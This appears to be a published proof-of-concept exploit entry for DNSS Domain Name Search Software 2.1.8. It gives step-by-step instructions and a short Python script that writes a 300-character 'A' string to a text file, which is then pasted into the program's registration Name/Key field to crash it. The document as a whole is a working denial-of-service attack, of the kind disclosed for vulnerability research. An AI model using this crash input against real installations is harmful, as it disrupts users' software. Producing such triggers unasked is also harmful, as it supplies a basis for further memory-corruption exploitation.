#Exploit Title: DNSS Domain Name Search Software 2.1.8 - Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-12 #Vendor Homepage: www.nsauditor.com #Software Link: http://www.nsauditor.com/downloads/dnss_setup.exe #Tested Version: 2.1.8 #Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1 #Steps to produce the crash: #1.- Run python code: DNSS_2.1.8.py #2.- Open DNSS.txt and copy content to clipboard #3.- Open Dnss #4.- Select "Register" > "Enter Registration Code..." #5.- In "Name/Key" paste Clipboard #6.- Click "Ok" #7.- Crarshed cod = "\x41" * 300 f = open('DNSS.txt', 'w') f.write(cod) f.close()